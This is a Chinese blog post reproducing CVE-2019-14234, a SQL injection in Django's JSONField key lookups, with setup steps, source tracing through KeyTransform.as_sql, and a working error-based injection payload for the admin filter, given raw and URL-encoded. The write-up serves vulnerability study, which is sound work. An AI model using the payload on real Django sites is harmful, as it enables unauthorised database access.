zoukankan      html  css  js  c++  java
  • Django JSONField/HstoreField SQL注入(CVE-2019-14234)

    在逛p神的小密圈的时候发现一篇关于Django的sql注入问题,于是尝试着复现一波

    受影响版本:

    Django 2.2.x < 2.2.4

    Django 2.1.x < 2.1.11

    Django 1.11x < 1.11.23

    官方公告:https://www.djangoproject.com/weblog/2019/aug/01/security-releases/

    环境准备

    vulhub上面已经有相应的docker镜像了

    https://github.com/vulhub/vulhub/tree/7ed1b98faa901a3bcbb756935cf69e13e0d87460/django/CVE-2019-14234

    把整个vulhub项目可以下载下来

    git clone https://github.com/vulhub/vulhub.git
    cd vulhub/django/CVE-2019-14234/
    
    docker-compose build
    docker-compose up -d
    

    之后可以看下项目的README.md,就可以验证漏洞的存在性了

    当然在docker里面啥不好看代码,也可以本地直接搭Django服务

    Django本地搭建

    在IDEA中创建个Django项目,打开已安装的包,发现Django版本已经是2.4,没有该漏洞了,于是修改一下,这里因为python2 是不支持Django,2.x版本的,所以这里用的python3,其实IDEA中venv很好配置

    这张图是在第一次在python2下安装2.3失败时截断(凑合着用)

    Postgresql安装

    首先下载

    apt-get install postgresql
    

    之后会在系统下自动生成一个postgersql的账号

    postgersql账号是用来登录连接数据库的,因为postgersql是没法用root来连接的

    postgersql开放端口在5432

    切换账号,进入数据库

    su postgres
    psql
    

    设置下密码,有2种方法

    方法1
    alter user postgres with password 'postgres';		//密码改为postgres
    
    方法2
    /password postgres
    Enter new password: xxx								//这会是提示
    Enter it again:	xxx
    

    创建库

    create database djangosql;
    c djangodb;				//相当于mysql的 use djangodb
    

    创建表,要加_,我直接用user当库名报错

    create table t_user(id integer, score jsonb);
    

    添加数据

    insert into t_user values (1,'{"username":"sijidou","age":90}'::jsonb);
    insert into t_user values (2,'{"username":"siji","age":45}'::jsonb);
    

    其他语法和mysql大差不差的,postersql还可以加json数据

    l			//查库
    dt			//查表
    q			//退出
    

    配置

    之后的流程是创建 startapp

    python manager.py startapp SqliTest
    

    编写下SqliTestmodels.py,并创建类中中有支持json的类型

    from django.db import models
    from django.contrib.postgres.fields import JSONField
    
    # Create your models here.
    
    class test(models.Model):
        name = models.CharField(max_length=255)
        text = JSONField()
    
        def __str__(self):
            return self.name
    

    修改下Setting.py

    迁移数据库

    python manage.py migrate
    
    python manage.py makemigrations
    

    导入数据库

    python manage.py loaddata test.json
    

    这里导入的我使用的是vulhub上改的测试数据,注意下model要对应 app/models.py中的类, fields域中的键要和数据库的字段名相同

    [
        {
          "model": "DjangoSql.test",
          "pk": 1,
          "fields": {
            "name": "a1",
            "text": {
                "title": "title 1",
                "author": "vulhub",
                "tags": ["python", "django"],
                "content": "..."
            }
          }
        },
        {
          "model": "DjangoSql.test",
          "pk": 2,
          "fields": {
            "name": "a2",
            "text": {
                "title": "title 2",
                "author": "vulhub",
                "tags": ["python"],
                "content": "..."
            }
          }
        }
      ]
    

    数据就成功的进来了

    预备知识

    python中的Django框架也好flask框架也罢,都会推荐使用Postgresql数据库,一般连接会用这3个函数JSONFieldArrayFieldHStoreField来处理json数据的连接

    这里跟进下JSONField()来看

    在使用filter()过滤查询的时候会触发到get_transform(),如果不满足父类Field()get_transform(),则会调用KeyTransformFactory()

    至于为什么数据库查询语句的filter()会触发get_transform(),在官方文档被拿来举了个例子

    那么为什么不满足,这里盗用下p神的理解

    在JSONField中,lookup实际上是没有变的,但是transform从“在外键表中查找”,变成了“在JSON对象中查找”,所以自然需要重写get_transform函数。
    

    继续跟进KeyTransformFactory()这个工厂类,可以看到被__call__的时候返回了KeyTransform()

    继续查看,KeyTransform()里面的as_sql()方法,也就是要查询数据库的方法

    最主要的部分在最后返回值的时候把lookup和前面内容直接进行了拼接,这也是漏洞形式原因

    漏洞利用

    先启动admin后台管理(后台管理主要功能可以管理数据库的),把我们有json数据的数据添加注册一下

    from django.contrib import admin
    
    from .models import test
    
    # Register your models here.
    admin.site.register(test)
    

    看看正常的查询语句,它是根据text字段的title键的内容进行查找的(这里有2个_)

    debug跟踪下流程

    首先进入get_transform()中的KeyTransformFactory()

    接下来按照预期进入了KeyTransform()中,之后继续进入

    接下来就进入了as_sql()的函数中

    上面的逻辑变化暂时不要管(咱也没接触过这么复杂的框架),运行到最下面的时候,来看看几个参数的值

    params,不用管这里是将lhs,lookup,params进行拼接,先把他们的写在一起,在前一步,把他们赋值到tmp中可以看到tmp的结果

    大致就是这样的

    filter("DjangoSql_test.text->title")
    

    再一步可能就是这样

    select * from DjangoSql_text where (DjangoSql_text.text->>'title') = xxx
    

    这里的'title'中加入',就能造成sql注入,在这里是被转义了的。但是之后的操作会去掉,(不然postersql的语句不正确)

    发送过去,sql语句报错了

    尝试利用下

    text__title' = '"a"') and 7778=CAST((SELECT version())::text AS NUMERIC)--
    
    //编码下特殊的字符
    text__title%27+%3d+%27%22a%22%27)%20and%207778%3dCAST((SELECT%20version())::text%20AS%20NUMERIC)--
    

    成功返回版本

    参考链接

    https://www.tuicool.com/articles/ymyU7zF

    https://www.leavesongs.com/PENETRATION/django-jsonfield-cve-2019-14234.html

    https://segmentfault.com/a/1190000003692997

    https://docs.djangoproject.com/zh-hans/2.2/

  • 相关阅读:
    SQL Server存储过程
    数据访问模式:数据并发控制(Data Concurrency Control)
    C#设计模式系列:观察者模式(Observer)
    awk内置字符串函数 awk 格式化输出
    使用MegaCli和Smartctl获取普通磁盘
    Shell之date用法
    linux 系统下查看raid信息,以及磁盘信息
    linux下proc里关于磁盘性能的参数
    hdparm测试硬盘性能
    查看现有运行的linux服务器有多少内存条
  • 原文地址:https://www.cnblogs.com/sijidou/p/13121288.html
Copyright © 2011-2022 走看看